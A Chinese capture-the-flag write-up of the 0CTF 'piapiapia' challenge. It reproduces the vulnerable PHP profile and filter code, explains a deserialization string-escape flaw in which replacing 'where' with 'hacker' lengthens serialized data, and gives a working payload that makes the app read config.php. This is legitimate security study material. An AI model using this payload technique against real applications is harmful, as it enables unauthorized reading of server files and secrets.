打开 web

PHP反序列化字符串逃逸

0CTF piapiapia

进入之后能搞下来源码。

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');   
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        <h3>Hi <?php echo $nickname;?></h3>
        <label>Phone: <?php echo $phone;?></label>
        <label>Email: <?php echo $email;?></label>
    </div>
</body>
</html>
<?php
    }
?>
<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

我从这到题理解到的，大概是因为这里通过replace把where变成hacker
多加了一个字符，而我们的反序列化时候可以通过输入一下字符，来吧后面正常多加的字符挤到后面，让后面成为一个类似新的解析，从而导致漏洞的产生。

输入的数据就应该是

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}

反序列化的结果就如上。通过34个字符的where变成hacker替换，导致后面的字符能够成功解析。从而使photo显示的使config.php。

然后去图片处查看源码base64decode即可得到flag

推荐文章